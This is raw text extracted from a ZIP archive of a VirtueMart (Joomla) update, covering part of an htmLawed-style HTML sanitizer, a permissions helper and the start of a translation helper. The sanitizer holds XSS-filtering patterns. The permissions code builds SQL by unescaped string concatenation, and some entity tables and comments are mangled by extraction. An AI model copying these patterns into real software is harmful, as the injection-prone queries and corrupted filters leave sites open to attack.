'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmouseout'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmouseover'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmouseup'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'style'=>array('param'=>1, 'script'=>1), 'title'=>array('param'=>1, 'script'=>1)); // Univ & exceptions if($C['lc_std_val']){ // predef attr vals for $eAL & $aNE ele static $aNL = array('all'=>1, 'baseline'=>1, 'bottom'=>1, 'button'=>1, 'center'=>1, 'char'=>1, 'checkbox'=>1, 'circle'=>1, 'col'=>1, 'colgroup'=>1, 'cols'=>1, 'data'=>1, 'default'=>1, 'file'=>1, 'get'=>1, 'groups'=>1, 'hidden'=>1, 'image'=>1, 'justify'=>1, 'left'=>1, 'ltr'=>1, 'middle'=>1, 'none'=>1, 'object'=>1, 'password'=>1, 'poly'=>1, 'post'=>1, 'preserve'=>1, 'radio'=>1, 'rect'=>1, 'ref'=>1, 'reset'=>1, 'right'=>1, 'row'=>1, 'rowgroup'=>1, 'rows'=>1, 'rtl'=>1, 'submit'=>1, 'text'=>1, 'top'=>1); static $eAL = array('a'=>1, 'area'=>1, 'bdo'=>1, 'button'=>1, 'col'=>1, 'form'=>1, 'img'=>1, 'input'=>1, 'object'=>1, 'optgroup'=>1, 'option'=>1, 'param'=>1, 'script'=>1, 'select'=>1, 'table'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1, 'xml:space'=>1); $lcase = isset($eAL[$e]) ? 1 : 0; } $depTr = 0; if($C['no_deprecated_attr']){ // dep attr:applicable ele static $aND = array('align'=>array('caption'=>1, 'div'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'img'=>1, 'input'=>1, 'legend'=>1, 'object'=>1, 'p'=>1, 'table'=>1), 'bgcolor'=>array('table'=>1, 'td'=>1, 'th'=>1, 'tr'=>1), 'border'=>array('img'=>1, 'object'=>1), 'bordercolor'=>array('table'=>1, 'td'=>1, 'tr'=>1), 'clear'=>array('br'=>1), 'compact'=>array('dl'=>1, 'ol'=>1, 'ul'=>1), 'height'=>array('td'=>1, 'th'=>1), 'hspace'=>array('img'=>1, 'object'=>1), 'language'=>array('script'=>1), 'name'=>array('a'=>1, 'form'=>1, 'iframe'=>1, 'img'=>1, 'map'=>1), 'noshade'=>array('hr'=>1), 'nowrap'=>array('td'=>1, 'th'=>1), 'size'=>array('hr'=>1), 'start'=>array('ol'=>1), 'type'=>array('li'=>1, 'ol'=>1, 'ul'=>1), 'value'=>array('li'=>1), 'vspace'=>array('img'=>1, 'object'=>1), 'width'=>array('hr'=>1, 'pre'=>1, 'td'=>1, 'th'=>1)); static $eAD = array('a'=>1, 'br'=>1, 'caption'=>1, 'div'=>1, 'dl'=>1, 'form'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'legend'=>1, 'li'=>1, 'map'=>1, 'object'=>1, 'ol'=>1, 'p'=>1, 'pre'=>1, 'script'=>1, 'table'=>1, 'td'=>1, 'th'=>1, 'tr'=>1, 'ul'=>1); $depTr = isset($eAD[$e]) ? 1 : 0; } // attr name-vals if(strpos($a, "\x01") !== false){ $a = preg_replace('`\x01[^\x01]*\x01`', '', $a); } // No comment/CDATA sec $mode = 0; $a = trim($a, ' /'); $aA = array(); while(strlen($a)){ $w = 0; switch($mode){ case 0: // Name if(preg_match('`^[a-zA-Z][\-a-zA-Z:]+`', $a, $m)){ $nm = strtolower($m[0]); $w = $mode = 1; $a = ltrim(substr_replace($a, '', 0, strlen($m[0]))); } break; case 1: if($a[0] == '='){ // = $w = 1; $mode = 2; $a = ltrim($a, '= '); }else{ // No val $w = 1; $mode = 0; $a = ltrim($a); $aA[$nm] = ''; } break; case 2: // Val if(preg_match('`^"[^"]*"`', $a, $m) or preg_match("`^'[^']*'`", $a, $m) or preg_match("`^\s*[^\s\"']+`", $a, $m)){ $m = $m[0]; $w = 1; $mode = 0; $a = ltrim(substr_replace($a, '', 0, strlen($m))); $aA[$nm] = trim(($m[0] == '"' or $m[0] == '\'') ? substr($m, 1, -1) : $m); } break; } if($w == 0){ // Parse errs, deal with space, " & ' $a = preg_replace('`^(?:"[^"]*("|$)|\'[^\']*(\'|$)|\S)*\s*`', '', $a); $mode = 0; } } if($mode == 1){ $aA[$nm] = ''; } // clean attrs $S = vmFilter::$S; $rl = isset($S[$e]) ? $S[$e] : array(); $a = array(); $nfr = 0; foreach($aA as $k=>$v){ if(((isset($C['deny_attribute']['*']) ? isset($C['deny_attribute'][$k]) : !isset($C['deny_attribute'][$k])) or isset($rl[$k])) && ((!isset($rl['n'][$k]) && !isset($rl['n']['*'])) or isset($rl[$k])) && (isset($aN[$k][$e]) or (isset($aNU[$k]) && !isset($aNU[$k][$e])))){ if(isset($aNE[$k])){ $v = $k; } elseif(!empty($lcase) && (($e != 'button' or $e != 'input') or $k == 'type')){ // Rather loose but ?not cause issues $v = (isset($aNL[($v2 = strtolower($v))])) ? $v2 : $v; } if($k == 'style' && !$C['style_pass']){ if(false !== strpos($v, '&#')){ static $sC = array(' '=>' ', ' '=>' ', 'E'=>'e', 'E'=>'e', 'e'=>'e', 'e'=>'e', 'X'=>'x', 'X'=>'x', 'x'=>'x', 'x'=>'x', 'P'=>'p', 'P'=>'p', 'p'=>'p', 'p'=>'p', 'S'=>'s', 'S'=>'s', 's'=>'s', 's'=>'s', 'I'=>'i', 'I'=>'i', 'i'=>'i', 'i'=>'i', 'O'=>'o', 'O'=>'o', 'o'=>'o', 'o'=>'o', 'N'=>'n', 'N'=>'n', 'n'=>'n', 'n'=>'n', 'U'=>'u', 'U'=>'u', 'u'=>'u', 'u'=>'u', 'R'=>'r', 'R'=>'r', 'r'=>'r', 'r'=>'r', 'L'=>'l', 'L'=>'l', 'l'=>'l', 'l'=>'l', '('=>'(', '('=>'(', ')'=>')', ')'=>')', ' '=>':', ' '=>':', '"'=>'"', '"'=>'"', '''=>"'", '''=>"'", '/'=>'/', '/'=>'/', '*'=>'*', '*'=>'*', '\'=>'\\', '\'=>'\\'); $v = strtr($v, $sC); } $v = preg_replace_callback('`(url(?:\()(?: )*(?:\'|"|&(?:quot|apos);)?)(.+?)((?:\'|"|&(?:quot|apos);)?(?: )*(?:\)))`iS', 'vmFilter::hl_prot', $v); $v = !$C['css_expression'] ? preg_replace('`expression`i', ' ', preg_replace('`\\\\\S|(/|(%2f))(\*|(%2a))`i', ' ', $v)) : $v; }elseif(isset($aNP[$k]) or strpos($k, 'src') !== false or $k[0] == 'o'){ $v = str_replace("\xad", ' ', (strpos($v, '&') !== false ? str_replace(array('­', '­', '­'), ' ', $v) : $v)); $v = vmFilter::hl_prot($v, $k); if($k == 'href'){ // X-spam if($C['anti_mail_spam'] && strpos($v, 'mailto:') === 0){ $v = str_replace('@', htmlspecialchars($C['anti_mail_spam']), $v); }elseif($C['anti_link_spam']){ $r1 = $C['anti_link_spam'][1]; if(!empty($r1) && preg_match($r1, $v)){ continue; } $r0 = $C['anti_link_spam'][0]; if(!empty($r0) && preg_match($r0, $v)){ if(isset($a['rel'])){ if(!preg_match('`\bnofollow\b`i', $a['rel'])){ $a['rel'] .= ' nofollow'; } }elseif(isset($aA['rel'])){ if(!preg_match('`\bnofollow\b`i', $aA['rel'])){ $nfr = 1; } }else{$a['rel'] = 'nofollow'; } } } } } if(isset($rl[$k]) && is_array($rl[$k]) && ($v = vmFilter::hl_attrval($v, $rl[$k])) === 0){ continue; } $a[$k] = str_replace('"', '"', $v); } } if($nfr){ $a['rel'] = isset($a['rel']) ? $a['rel']. ' nofollow' : 'nofollow'; } // rqd attr static $eAR = array('area'=>array('alt'=>'area'), 'bdo'=>array('dir'=>'ltr'), 'form'=>array('action'=>''), 'img'=>array('src'=>'', 'alt'=>'image'), 'map'=>array('name'=>''), 'optgroup'=>array('label'=>''), 'param'=>array('name'=>''), 'script'=>array('type'=>'text/javascript'), 'textarea'=>array('rows'=>'10', 'cols'=>'50')); if(isset($eAR[$e])){ foreach($eAR[$e] as $k=>$v){ if(!isset($a[$k])){ $a[$k] = isset($v[0]) ? $v : $k; } } } // depr attrs if($depTr){ $c = array(); foreach($a as $k=>$v){ if($k == 'style' or !isset($aND[$k][$e])){ continue; } if($k == 'align'){ unset($a['align']); if($e == 'img' && ($v == 'left' or $v == 'right')){ $c[] = 'float: '. $v; } elseif(($e == 'div' or $e == 'table') && $v == 'center'){ $c[] = 'margin: auto'; } else{$c[] = 'text-align: '. $v; } }elseif($k == 'bgcolor'){ unset($a['bgcolor']); $c[] = 'background-color: '. $v; }elseif($k == 'border'){ unset($a['border']); $c[] = "border: {$v}px"; }elseif($k == 'bordercolor'){ unset($a['bordercolor']); $c[] = 'border-color: '. $v; }elseif($k == 'clear'){ unset($a['clear']); $c[] = 'clear: '. ($v != 'all' ? $v : 'both'); }elseif($k == 'compact'){ unset($a['compact']); $c[] = 'font-size: 85%'; }elseif($k == 'height' or $k == 'width'){ unset($a[$k]); $c[] = $k. ': '. ($v[0] != '*' ? $v. (ctype_digit($v) ? 'px' : '') : 'auto'); }elseif($k == 'hspace'){ unset($a['hspace']); $c[] = "margin-left: {$v}px; margin-right: {$v}px"; }elseif($k == 'language' && !isset($a['type'])){ unset($a['language']); $a['type'] = 'text/'. strtolower($v); }elseif($k == 'name'){ if($C['no_deprecated_attr'] == 2 or ($e != 'a' && $e != 'map')){ unset($a['name']); } if(!isset($a['id']) && preg_match('`[a-zA-Z][a-zA-Z\d.:_\-]*`', $v)){ $a['id'] = $v; } }elseif($k == 'noshade'){ unset($a['noshade']); $c[] = 'border-style: none; border: 0; background-color: gray; color: gray'; }elseif($k == 'nowrap'){ unset($a['nowrap']); $c[] = 'white-space: nowrap'; }elseif($k == 'size'){ unset($a['size']); $c[] = 'size: '. $v. 'px'; }elseif($k == 'start' or $k == 'value'){ unset($a[$k]); }elseif($k == 'type'){ unset($a['type']); static $ol_type = array('i'=>'lower-roman', 'I'=>'upper-roman', 'a'=>'lower-latin', 'A'=>'upper-latin', '1'=>'decimal'); $c[] = 'list-style-type: '. (isset($ol_type[$v]) ? $ol_type[$v] : 'decimal'); }elseif($k == 'vspace'){ unset($a['vspace']); $c[] = "margin-top: {$v}px; margin-bottom: {$v}px"; } } if(count($c)){ $c = implode('; ', $c); $a['style'] = isset($a['style']) ? rtrim($a['style'], ' ;'). '; '. $c. ';': $c. ';'; } } // unique ID if($C['unique_ids'] && isset($a['id'])){ if(!preg_match('`^[A-Za-z][A-Za-z0-9_\-.:]*$`', ($id = $a['id'])) or (!is_null(vmFilter::$hl_Ids[$id]) && $C['unique_ids'] == 1)){ unset($a['id']); }else{ while(!is_null(vmFilter::$hl_Ids[$id])){ $id = $C['unique_ids']. $id; } vmFilter::$hl_Ids[($a['id'] = $id)] = 1; } } // xml:lang if($C['xml:lang'] && isset($a['lang'])){ $a['xml:lang'] = isset($a['xml:lang']) ? $a['xml:lang'] : $a['lang']; if($C['xml:lang'] == 2){ unset($a['lang']); } } // for transformed tag if(!empty($trt)){ $a['style'] = isset($a['style']) ? rtrim($a['style'], ' ;'). '; '. $trt : $trt; } // return with empty ele / if(empty($C['hook_tag'])){ $aA = ''; foreach($a as $k=>$v){ $aA .= " {$k}=\"{$v}\""; } return "<{$e}{$aA}". (isset($eE[$e]) ? ' /' : ''). '>'; } else{return $C['hook_tag']($e, $a); } // eof } public static function hl_tag2(&$e, &$a, $t=1){ // transform tag if($e == 'center'){ $e = 'div'; return 'text-align: center;'; } if($e == 'dir' or $e == 'menu'){ $e = 'ul'; return ''; } if($e == 's' or $e == 'strike'){ $e = 'span'; return 'text-decoration: line-through;'; } if($e == 'u'){ $e = 'span'; return 'text-decoration: underline;'; } static $fs = array('0'=>'xx-small', '1'=>'xx-small', '2'=>'small', '3'=>'medium', '4'=>'large', '5'=>'x-large', '6'=>'xx-large', '7'=>'300%', '-1'=>'smaller', '-2'=>'60%', '+1'=>'larger', '+2'=>'150%', '+3'=>'200%', '+4'=>'300%'); if($e == 'font'){ $a2 = ''; if(preg_match('`face\s*=\s*(\'|")([^=]+?)\\1`i', $a, $m) or preg_match('`face\s*=\s*([^"])(\S+)`i', $a, $m)){ $a2 .= ' font-family: '. str_replace('"', '\'', trim($m[2])). ';'; } if(preg_match('`color\s*=\s*(\'|")?(.+?)(\\1|\s|$)`i', $a, $m)){ $a2 .= ' color: '. trim($m[2]). ';'; } if(preg_match('`size\s*=\s*(\'|")?(.+?)(\\1|\s|$)`i', $a, $m) && isset($fs[($m = trim($m[2]))])){ $a2 .= ' font-size: '. $fs[$m]. ';'; } $e = 'span'; return ltrim($a2); } if($t == 2){ $e = 0; return 0; } return ''; // eof } public static function hl_tidy($t, $w, $p){ // Tidy/compact HTM if(strpos(' pre,script,textarea', "$p,")){ return $t; } $t = str_replace(' ]*(?)\s+`', '`\s+`', '`(<\w[^>]*(?) `'), array(' $1', ' ', '$1'), preg_replace_callback(array('`(<(!\[CDATA\[))(.+?)(\]\]>)`sm', '`(<(!--))(.+?)(-->)`sm', '`(<(pre|script|textarea)[^>]*?>)(.+?)()`sm'), create_function('$m', 'return $m[1]. str_replace(array("<", ">", "\n", "\r", "\t", " "), array("\x01", "\x02", "\x03", "\x04", "\x05", "\x07"), $m[3]). $m[4];'), $t))); if(($w = strtolower($w)) == -1){ return str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05", "\x07"), array('<', '>', "\n", "\r", "\t", ' '), $t); } $s = strpos(" $w", 't') ? "\t" : ' '; $s = preg_match('`\d`', $w, $m) ? str_repeat($s, $m[0]) : str_repeat($s, ($s == "\t" ? 1 : 2)); $n = preg_match('`[ts]([1-9])`', $w, $m) ? $m[1] : 0; $a = array('br'=>1); $b = array('button'=>1, 'input'=>1, 'option'=>1); $c = array('caption'=>1, 'dd'=>1, 'dt'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'isindex'=>1, 'label'=>1, 'legend'=>1, 'li'=>1, 'object'=>1, 'p'=>1, 'pre'=>1, 'td'=>1, 'textarea'=>1, 'th'=>1); $d = array('address'=>1, 'blockquote'=>1, 'center'=>1, 'colgroup'=>1, 'dir'=>1, 'div'=>1, 'dl'=>1, 'fieldset'=>1, 'form'=>1, 'hr'=>1, 'iframe'=>1, 'map'=>1, 'menu'=>1, 'noscript'=>1, 'ol'=>1, 'optgroup'=>1, 'rbc'=>1, 'rtc'=>1, 'ruby'=>1, 'script'=>1, 'select'=>1, 'table'=>1, 'tfoot'=>1, 'thead'=>1, 'tr'=>1, 'ul'=>1); ob_start(); if(isset($d[$p])){ echo str_repeat($s, ++$n); } $t = explode('<', $t); echo ltrim(array_shift($t)); for($i=-1, $j=count($t); ++$i<$j;){ $r = ''; list($e, $r) = explode('>', $t[$i]); $x = $e[0] == '/' ? 0 : (substr($e, -1) == '/' ? 1 : ($e[0] != '!' ? 2 : -1)); $y = !$x ? ltrim($e, '/') : ($x > 0 ? substr($e, 0, strcspn($e, ' ')) : 0); $e = "<$e>"; if(isset($d[$y])){ if(!$x){ echo "\n", str_repeat($s, --$n), "$e\n", str_repeat($s, $n); } else{echo "\n", str_repeat($s, $n), "$e\n", str_repeat($s, ($x != 1 ? ++$n : $n)); } echo ltrim($r); continue; } $f = "\n". str_repeat($s, $n); if(isset($c[$y])){ if(!$x){ echo $e, $f, ltrim($r); } else{echo $f, $e, $r; } }elseif(isset($b[$y])){ echo $f, $e, $r; }elseif(isset($a[$y])){ echo $e, $f, ltrim($r); }elseif(!$y){ echo $f, $e, $f, ltrim($r); }else{echo $e, $r; } } $t = preg_replace('`[\n]\s*?[\n]+`', "\n", ob_get_contents()); ob_end_clean(); if(($l = strpos(" $w", 'r') ? (strpos(" $w", 'n') ? "\r\n" : "\r") : 0)){ $t = str_replace("\n", $l, $t); } return str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05", "\x07"), array('<', '>', "\n", "\r", "\t", ' '), $t); // eof } public static function hl_version(){ // rel return '1.1.10'; // eof } public static function kses($t, $h, $p=array('http', 'https', 'ftp', 'news', 'nntp', 'telnet', 'gopher', 'mailto')){ // kses compat foreach($h as $k=>$v){ $h[$k]['n']['*'] = 1; } $C['cdata'] = $C['comment'] = $C['make_tag_strict'] = $C['no_deprecated_attr'] = $C['unique_ids'] = 0; $C['keep_bad'] = 1; $C['elements'] = count($h) ? strtolower(implode(',', array_keys($h))) : '-*'; $C['hook'] = 'vmFilter::kses_hook'; $C['schemes'] = '*:'. implode(',', $p); return vmFilter::$hl($t, $C, $h); // eof } public static function kses_hook($t, &$C, &$S){ // kses compat return $t; // eof } public static function loadconfig($c) { switch($c){ case 'safe': //Safest, allowing only safe HTML markup -- $config = array('safe'=>1); break; case 'allhtml': //Simplest, allowing all valid HTML markup except javascript: -- $config = array(); break; case 'admin': // Allowing all valid HTML markup including javascript: -- $config = array('schemes'=>'*:*'); break; case 'simple': //Allowing only safe HTML and the elements a, br, em, and strong -- $config = array('safe'=>1, 'elements'=>'br, em, h2, h3, h4, h5, h6, p, span, strong'); break; case 'no_js_flash': // Not allowing elements script and object -- $config = array('safe'=>1,'elements'=>'* -script -object'); break; case 'no_id_style': // Not allowing attributes id and style -- $config = array('safe'=>1,'deny_attribute'=>'id, style'); break; case 'only_link': // Permitting only attributes title and href -- $config = array('safe'=>1,'deny_attribute'=>'* -title -href'); break; case 'remove': // Remove bad/disallowed tags altogether instead of converting them to entities -- $config = array('safe'=>1,'keep_bad'=>0); // Allowing attribute title only in a and not allowing attributes id, style, or scriptable on* attributes like onclick -- // $config = array('deny_attribute'=>'title, id, style, on*'); // $spec = 'a=title'; // $out = vmFilter($in, $config, $spec); case 'text': default: //only text and br-- $config = array('elements'=>'strong', 'safe'=>1); break; } return $config; } static function mail($v){ $v = str_replace('mailto:','', $v); $v = str_replace(array('\'','"',',','%','*','/','\\','?','^','`','{','}','|','~'),array(''),$v); return $v; //This does not work, I get a blank email //$regx = "@[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*\@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?@"; //return preg_replace($regx ,'', $v); } function phone($v){ $regx = "~^[0-9,+,(), ,]{1,}(,[0-9]+){0,}$~"; return preg_replace($regx ,'', $v); } static function urlcheck($v) { if (!preg_match("#(http|ftp|https)#",$v)) $v = "http://".$v ; $regx = "#(http|ftp|https):\/\/[\w\-_]+(\.[\w\-_]+)+([\w\-\.,@?^=%&:/~\+#]*[\w\-\@?^=%&/~\+#])?#"; $site = preg_replace($regx ,'', $v); if ($file = @fopen($site, 'r')) { return $v ; } else return ''; } }PKsl>\ 4 4Ucom_virtuemart_update/administrator/components/com_virtuemart/helpers/permissions.phpnuW+A_db = JFactory::getDBO(); $this->_perms = $this->doAuthentication(); $user = JFactory::getUser(); } static public function getInstance() { if(!is_object(self::$_instance)){ self::$_instance = new Permissions(); }else { } return self::$_instance; } /** * Get permissions for a user ID * * @param int $virtuemart_user_id the user ID to check. If no user ID is given the currently logged in user will be used. * @return string permissions */ public function getPermissions ($userId=null) { // default to current user if ($userId == null) { $user = JFactory::getUser(); $userId = $user->id; } // only re-run authentication if we have a different user //vmdebug('getPermissions',$this->_virtuemart_user_id,$userId); if ($userId != $this->_virtuemart_user_id) { $perms = $this->doAuthentication($userId); } else { $perms = $this->_perms; } return $perms; } /** * description: Validates if someone is registered customer. * by checking if one has a billing address * parameters: virtuemart_user_id * returns: true if the user has a BT address * false if the user has none * * Check if a user is registered in the shop (=customer) * * @param int $virtuemart_user_id the user ID to check. If no user ID is given the currently logged in user will be used. * @return boolean */ public function isRegisteredCustomer($virtuemart_user_id=0) { if ($virtuemart_user_id == 0) { /* Lets see if we can get the current signed in user */ $user = JFactory::getUser(); if ($user->id == 0) return false; else $virtuemart_user_id = $user->id; } $this->_db = JFactory::getDBO(); /* If the registration type is neither "no registration" nor "optional registration", there *must* be a related Joomla! user, we can join */ if (VmConfig::get('vm_registration_type') != 'NO_REGISTRATION' && VmConfig::get('vm_registration_type') != 'OPTIONAL_REGISTRATION') { $q = "SELECT COUNT(virtuemart_user_id) AS num_rows FROM `#__virtuemart_userinfos`, `#__users` WHERE `id`=`virtuemart_user_id` AND #__virtuemart_userinfos.virtuemart_user_id='" . (int)$virtuemart_user_id . "' AND #__virtuemart_userinfos.address_type='BT'"; } else { $q = "SELECT COUNT(virtuemart_user_id) AS num_rows FROM `#__virtuemart_userinfos` WHERE #__virtuemart_userinfos.virtuemart_user_id='" . (int)$virtuemart_user_id . "' AND #__virtuemart_userinfos.address_type='BT'"; } $this->_db->setQuery($q); return $this->_db->loadResult(); } /** * This function does the basic authentication * for a user in the shop. * It assigns permissions, the name, country, zip and * the shopper group id with the user and the session. * @return array Authentication information */ function doAuthentication ($user_id=null) { $this->_db = JFactory::getDBO(); $session = JFactory::getSession(); $user = JFactory::getUser($user_id); if(!empty($user->id)){ $this->_virtuemart_user_id = $user->id; //We must prevent that Administrators or Managers are 'just' shoppers //TODO rewrite it working correctly with jooomla ACL if(JVM_VERSION === 2 ){ if($user->authorise('core.admin')){ $perm = 'admin'; } } else { if(strpos($user->usertype,'Administrator')!== false){ $perm = 'admin'; } } if(empty($perm)){ if(JVM_VERSION === 2 ){ if($user->groups){ if($user->authorise('core.admin')){ $perm = 'admin'; } else if($user->authorise('core.manage')){ $perm = 'storeadmin'; } else { $perm = 'shopper'; } } else { $perm = 'shopper'; } } else { if(strpos($user->usertype,'Administrator')!== false){ $perm = 'admin'; } else if(strpos($user->usertype,'Manager')!== false){ $perm = 'storeadmin'; } else { $perm = 'shopper'; } } } $this->_is_registered_customer = true; } else { $this->_virtuemart_user_id = 0; $perm = 'shopper'; $this->_is_registered_customer = false; } return $perm; } /** * Validates the permission to do something. * * @param string $perms * @return boolean Check successful or not * @example $perm->check( 'admin,storeadmin' ); * returns true when the user is admin or storeadmin */ public function check($perms) { $user = JFactory::getUser(); if(strpos($perms,',')!==FALSE){ $perms = explode(',',$perms); } else { $perms = array($perms); } foreach($perms as $perm){ if($perm=='admin'){ if($user->authorise('core.admin')){ return true; } } if($perm=='storeadmin'){ if($user->authorise('core.manage')){ return true; } } } return false; /* Set the authorization for use */ // Parse all permissions in argument, comma separated // It is assumed auth_user only has one group per user. /* $p1 = explode(",", $this->_perms); $p2 = explode(",", $perms); // vmdebug('check '.$perms,$p1,$p2); while (list($key1, $value1) = each($p1)) { while (list($key2, $value2) = each($p2)) { if ($value1 == $value2) { return true; } } } return false;*/ } /** * Checks if user is admin or has vendorId=1, * if superadmin, but not a vendor it gives back vendorId=1 (single vendor, but multiuser administrated) * * @author Mattheo Vicini * @author Max Milbers */ public function isSuperVendor(){ $user = JFactory::getUser(); if(!$this->_vendorId){ if(!empty( $user->id)){ $q='SELECT `virtuemart_vendor_id` FROM `#__virtuemart_vmusers` `au` WHERE `au`.`virtuemart_user_id`="' .$user->id.'" AND `au`.`user_is_vendor` = "1" '; $db= JFactory::getDbo(); $db->setQuery($q); $virtuemart_vendor_id = $db->loadResult(); if ($virtuemart_vendor_id) { $this->_vendorId = $virtuemart_vendor_id; } else { $this->_vendorId = 0; } } else { return false; } } if($this->_vendorId!=0){ return $this->_vendorId; } else { if($user->authorise('core.admin', 'com_virtuemart') or $user->authorise('core.manage', 'com_virtuemart') ){ $this->_vendorId = 1; return $this->_vendorId; } } return false; } /** * lists the permission levels in a select box * @author pablo * @param string $name The name of the select element * @param string $group_name The preselected key */ function list_perms( $name, $group_name, $size=1, $multi=false ) { $auth = $_SESSION['auth']; if( $multi ) { $multi = 'multiple="multiple"'; } // Get users current permission value $dvalue = $this->user_groups[$this->_perms]; $perms = $this->getUserGroups(); arsort( $perms ); if( $size==1 ) { $values[0] = JText::_('COM_VIRTUEMART_SELECT'); } foreach($perms as $key => $value) { // Display only those permission that this user can set if ($value >= $dvalue) { $values[$key] = $key; } } if( $size > 1 ) { $name .= '[]'; $values['none'] = JText::_('COM_VIRTUEMART_NO_RESTRICTION'); } echo VmHTML::selectList( $name, $group_name, $values, $size, $multi ); } /** * Here we insert groups that are allowed to view prices * */ function prepareACL() { // The basic ACL integration in Mambo/Joomla is not awesome $child_groups = self::getChildGroups( '#__core_acl_aro_groups', 'g1.virtuemart_shoppergroup_id, g1.name, COUNT(g2.name) AS level', 'g1.name', null, VmConfig::get('vm_price_access_level')); echo '
'.print_r($child_groups,1).'
'; foreach( $child_groups as $child_group ) { self::_addToGlobalACL( 'virtuemart', 'prices', 'users', $child_group->name, null, null ); } $admin_groups = self::getChildGroups( '#__core_acl_aro_groups', 'g1.virtuemart_shoppergroup_id, g1.name, COUNT(g2.name) AS level', 'g1.name', null, 'Public Backend' ); foreach( $admin_groups as $child_group ) { self::_addToGlobalACL( 'virtuemart', 'prices', 'users', $child_group->name, null, null ); } } /** * Function from an old Mambo phpgacl integration function * @deprecated (but necessary, sigh!) * @static * @param string $table * @param string $fields * @param string $groupby * @param int $root_id * @param string $root_name * @param boolean $inclusive * @return array */ function getChildGroups($table, $fields, $groupby=null, $root_id=null, $root_name=null, $inclusive=true) { $database = JFactory::getDBO(); $root = new stdClass(); $root->lft = 0; $root->rgt = 0; $fields = str_replace( 'virtuemart_shoppergroup_id', 'id', $fields ); if ($root_id) { } else if ($root_name) { $database->setQuery("SELECT `lft`, `rgt` FROM `".$table."` WHERE `name`='".$root_name."'" ); $root = $database->loadObject(); } $where = ''; if ($root->lft+$root->rgt != 0) { if ($inclusive) { $where = "WHERE g1.lft BETWEEN $root->lft AND $root->rgt"; } else { $where = "WHERE g1.lft BETWEEN $root->lft+1 AND $root->rgt-1"; } } $database->setQuery( "SELECT ".$fields . "\nFROM ".$table." AS g1" . "\nINNER JOIN ".$table." AS g2 ON g1.lft BETWEEN g2.lft AND g2.rgt" . "\n". $where . ($groupby ? "\nGROUP BY ".$groupby : "") . "\nORDER BY g1.lft" ); return $database->loadObjectList(); } /** * This is a temporary function to allow 3PD's to add basic ACL checks for their * modules and components. NOTE: this information will be compiled in the db * in future versions * @static * @param unknown_type $aco_section_value * @param unknown_type $aco_value * @param unknown_type $aro_section_value * @param unknown_type $aro_value * @param unknown_type $axo_section_value * @param unknown_type $axo_value */ function _addToGlobalACL( $aco_section_value, $aco_value, $aro_section_value, $aro_value, $axo_section_value=NULL, $axo_value=NULL ) { global $acl; $acl->acl[] = array( $aco_section_value, $aco_value, $aro_section_value, $aro_value, $axo_section_value, $axo_value ); $acl->acl_count = count( $acl->acl ); } /** * Returns a tree with the children of the root group id * @static * @param int $root_id * @param string $root_name * @param boolean $inclusive * @return unknown */ function getGroupChildrenTree( $root_id=null, $root_name=null, $inclusive=true ) { global $database, $_VERSION; $tree = ps_perm::getChildGroups( '#__core_acl_aro_groups', 'g1.virtuemart_shoppergroup_id, g1.name, COUNT(g2.name) AS level', 'g1.name', $root_id, $root_name, $inclusive ); // first pass get level limits $n = count( $tree ); $min = $tree[0]->level; $max = $tree[0]->level; for ($i=0; $i < $n; $i++) { $min = min( $min, $tree[$i]->level ); $max = max( $max, $tree[$i]->level ); } $indents = array(); foreach (range( $min, $max ) as $i) { $indents[$i] = '      '; } // correction for first indent $indents[$min] = ''; $list = array(); for ($i=$n-1; $i >= 0; $i--) { $shim = ''; foreach (range( $min, $tree[$i]->level ) as $j) { $shim .= $indents[$j]; } if (@$indents[$tree[$i]->level+1] == '. ') { $twist = ' '; } else { $twist = "- "; } if( $_VERSION->PRODUCT == 'Joomla!' && $_VERSION->RELEASE >= 1.5 ) { $tree[$i]->virtuemart_shoppergroup_id = $tree[$i]->id; } $list[$tree[$i]->virtuemart_shoppergroup_id] = $shim.$twist.$tree[$i]->name; if ($tree[$i]->level < @$tree[$i-1]->level) { $indents[$tree[$i]->level+1] = '. '; } } ksort($list); return $list; } } //pure php no closing tagPKsl>\{Pcom_virtuemart_update/administrator/components/com_virtuemart/helpers/vmtext.phpnuW+Aalert(Joomla.vmText._('true));?>')); * will generate an alert message containing 'Default' * it will generate a 'Default' string * * @param string $string The string to translate. * @param mixed $jsSafe Boolean: Make the result javascript safe. * @param boolean $interpretBackSlashes To interpret backslashes (\\=\, \n=carriage return, \t=tabulation) * @param boolean $script To indicate that the string will be push in the javascript language store * * @return string The translated string or the key is $script is true * * @since 11.1 */ public static function _($string, $jsSafe = false, $interpretBackSlashes = true, $script = false) { $lang = JFactory::getLanguage(); if (is_array($jsSafe)) { if (array_key_exists('interpretBackSlashes', $jsSafe)) { $interpretBackSlashes = (boolean) $jsSafe['interpretBackSlashes']; } if (array_key_exists('script', $jsSafe)) { $script = (boolean) $jsSafe['script']; } if (array_key_exists('jsSafe', $jsSafe)) { $jsSafe = (boolean) $jsSafe['jsSafe']; } else { $jsSafe = false; } } if ($script) { self::$strings[$string] = $lang->_($string, $jsSafe, $interpretBackSlashes); return $string; } else { return $lang->_($string, $jsSafe, $interpretBackSlashes); } } /** * Passes a string thru a sprintf. * * Note that this method can take a mixed number of arguments as for the sprintf function. * * The last argument can take an array of options: * * array('jsSafe'=>boolean, 'interpretBackSlashes'=>boolean, 'script'=>boolean) * * where: * * jsSafe is a boolean to generate a javascript 